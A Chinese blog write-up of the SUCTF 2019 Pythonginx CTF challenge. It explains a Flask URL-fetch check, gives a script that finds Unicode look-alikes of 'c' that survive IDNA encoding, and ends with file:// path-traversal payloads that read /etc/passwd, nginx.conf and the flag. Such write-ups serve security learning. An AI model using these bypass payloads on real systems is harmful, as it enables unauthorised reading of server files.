• [SUCTF 2019]Pythonginx


    源码:

    @app.route('/getUrl', methods=['GET', 'POST'])
    def getUrl():
        url = request.args.get("url")
        host = parse.urlparse(url).hostname
        if host == 'suctf.cc':
            return "我扌 your problem? 111"
        parts = list(urlsplit(url))
        host = parts[1]
        if host == 'suctf.cc':
            return "我扌 your problem? 222 " + host
        newhost = []
        for h in host.split('.'):
            newhost.append(h.encode('idna').decode('utf-8'))
        parts[1] = '.'.join(newhost)
        #去掉 url 中的空格
        finalUrl = urlunsplit(parts).split(' ')[0]
        host = parse.urlparse(finalUrl).hostname
        if host == 'suctf.cc':
            return urllib.request.urlopen(finalUrl, timeout=2).read()
        else:
            return "我扌 your problem? 333"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    解释一下代码:

    路由是/geturl,要GET或者POST传入url参数,urlparse对url进行分割,host等于其中的hostname(如果传入http://suctf.cc的话就得到suctf.cc),urlsplit也是分割url,parts[1]就是得到列表第二部分同样是hostname。

    urlparse和urlsplit有区别:urlsplit和urlparse非常相像,用法基本一致,但是他们有略微的不同,split函数在分割的时候,path和params属性是在一起的

    比如

    https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example
    
    • 1

    urlsplit(url)得到:
    “”"
    SplitResult(
    scheme=‘https’,
    netloc=‘username:password@www.baidu.com:80’,
    path=‘/index.html;parameters’,
    query=‘name=tom’,
    fragment=‘example’)
    “”"

    urlparse(url)得到:
    “”"
    ParseResult(
    scheme=‘https’,
    netloc=‘username:password@www.baidu.com:80’,
    path=‘/index.html’,
    params=‘parameters’,
    query=‘name=tom’,
    fragment=‘example’
    )
    “”"

    然后将hostname以点为分隔,然后idna加密,utf-8解密,存为数组,又以点号重新拼在一起,去掉中间的空格重新构成hostname,再次if判断hostname是否为suctf.cc

    urllib.request.urlopen用get方式去获取url的页面内容,一旦连接成功会返回一个文件类型对象,而read()方法能读出请求返回的所有或者bytes个字节

    一顿操作的意思其实就是要绕过前两个if,hostname不能为suctf.cc,而经过加密解密拼接之后又要为suctf.cc,其实就是要找在经过idna加密,utf-8解密能替换suctf.cc里面单个或多个字符的某些特殊字符

    好了原理懂了就上脚本:

    from urllib.parse import urlparse, urlunsplit, urlsplit
    from urllib import parse
    
    
    def get_unicode():
        for x in range(65536):
            uni = chr(x)
            url = "http://suctf.c{}".format(uni)
            try:
                if getUrl(url):
                    print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
            except:
                pass
    
    
    def getUrl(url):
        url = url
        host = parse.urlparse(url).hostname
        if host == 'suctf.cc':
            return False
        parts = list(urlsplit(url))
        host = parts[1]
        if host == 'suctf.cc':
            return False
        newhost = []
        for h in host.split('.'):
            newhost.append(h.encode('idna').decode('utf-8'))
        parts[1] = '.'.join(newhost)
        finalUrl = urlunsplit(parts).split(' ')[0]
        host = parse.urlparse(finalUrl).hostname
        if host == 'suctf.cc':
            return True
        else:
            return False
    
    
    if __name__ == '__main__':
        get_unicode()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    找到以下字符能替换字符’c’,还有一些能替换的就不一一列举了!

    str: ℂ unicode: \u2102
    str: ℭ unicode: \u212d
    str: Ⅽ unicode: \u216d
    str: ⅽ unicode: \u217d
    str: Ⓒ unicode: \u24b8
    str: ⓒ unicode: \u24d2
    str: C unicode: \uff23
    str: c unicode: \uff43
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    要文件读取,那就file协议直接传入:

    getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
    
    • 1

    但是还要读取flag,f12提示"Do you know the nginx?"那就应该是读nginx的配置文件:

    /getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf
    
    • 1


    得到flag在/usr/fffffflag,那就直接读出flag:

    /getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag
    
    • 1
  • 相关阅读:
    pyhton内置的数据类型(二)
    10行代码实现RSA公钥解密
    十、ThreadLocal
    2 用TensorFlow构建一个简单的神经网络
    基于图搜索的规划算法之A*家族(三):Anytime A*算法
    高等数学(第七版)同济大学 总习题三(前10题) 个人解答
    【HTML】操作表格
    计算机毕业设计(附源码)python寻迹边境丹东旅游网站
    【Unity入门计划】GameObject类(1)-GetComponent方法
    [笔记] 筛素数——朴素筛法及其优化:埃氏筛法 #质数(素数)
  • 原文地址:https://blog.csdn.net/qq_52907838/article/details/127973652